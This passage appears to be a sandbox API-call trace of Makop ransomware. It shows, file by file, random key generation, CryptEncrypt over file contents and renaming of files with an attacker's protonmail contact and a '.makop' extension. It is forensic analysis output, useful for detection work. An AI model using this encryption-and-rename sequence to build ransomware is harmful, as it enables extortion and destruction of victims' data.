lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0098.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.783] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.783] GetProcessHeap () returned 0x48a0000 [0098.783] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0098.783] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0098.783] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.783] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0098.783] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.783] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.783] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.784] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.784] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.784] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.784] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.784] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd0e5, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd0e5, lpOverlapped=0x0) returned 1 [0098.786] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd0f0, dwBufLen=0xd0f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd0f0) returned 1 [0098.787] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.787] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd0f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd0f0, lpOverlapped=0x0) returned 1 [0098.788] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.788] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xd1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.788] SetEndOfFile (hFile=0x138) returned 1 [0098.795] GetProcessHeap () returned 0x48a0000 [0098.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0098.795] GetProcessHeap () returned 0x48a0000 [0098.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.795] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0098.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.796] CloseHandle (hObject=0x138) returned 1 [0098.796] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0098.797] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF") returned 71 [0098.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.797] GetProcessHeap () returned 0x48a0000 [0098.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.797] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.797] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0098.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.803] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.803] GetProcessHeap () returned 0x48a0000 [0098.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0098.803] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0098.803] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.803] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0098.803] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.803] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.804] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.804] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.804] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.804] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.804] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x21b, lpOverlapped=0x0) returned 1 [0098.805] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x220, dwBufLen=0x220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x220) returned 1 [0098.805] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.805] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x220, lpOverlapped=0x0) returned 1 [0098.805] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.805] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.805] SetEndOfFile (hFile=0x138) returned 1 [0098.812] GetProcessHeap () returned 0x48a0000 [0098.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0098.813] GetProcessHeap () returned 0x48a0000 [0098.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0098.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.818] CloseHandle (hObject=0x138) returned 1 [0098.818] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.818] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0098.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.819] GetProcessHeap () returned 0x48a0000 [0098.819] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.819] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.819] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.819] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0098.824] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.824] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.824] GetProcessHeap () returned 0x48a0000 [0098.824] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.824] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.825] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.825] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.825] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.825] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.825] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.825] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.825] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.825] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.826] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.826] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x639, lpOverlapped=0x0) returned 1 [0098.826] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x640) returned 1 [0098.826] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.826] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x640, lpOverlapped=0x0) returned 1 [0098.826] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.826] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.826] SetEndOfFile (hFile=0x138) returned 1 [0098.833] GetProcessHeap () returned 0x48a0000 [0098.833] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.833] GetProcessHeap () returned 0x48a0000 [0098.833] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.833] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0098.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.834] CloseHandle (hObject=0x138) returned 1 [0098.835] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0098.835] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0098.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.836] GetProcessHeap () returned 0x48a0000 [0098.836] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.837] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.837] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.837] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0098.841] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.841] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.841] GetProcessHeap () returned 0x48a0000 [0098.841] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0098.842] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0098.842] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.842] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0098.842] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.842] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.842] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.842] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.842] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.843] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.843] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.843] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.843] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x54f1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x54f1, lpOverlapped=0x0) returned 1 [0098.846] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5500, dwBufLen=0x5500 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5500) returned 1 [0098.846] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.846] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5500, lpOverlapped=0x0) returned 1 [0098.847] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.847] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x55d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.847] SetEndOfFile (hFile=0x138) returned 1 [0098.854] GetProcessHeap () returned 0x48a0000 [0098.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0098.854] GetProcessHeap () returned 0x48a0000 [0098.854] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.854] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0098.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.856] CloseHandle (hObject=0x138) returned 1 [0098.856] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0098.856] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0098.856] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0098.856] wsprintfW (in: param_1=0x6578d70, 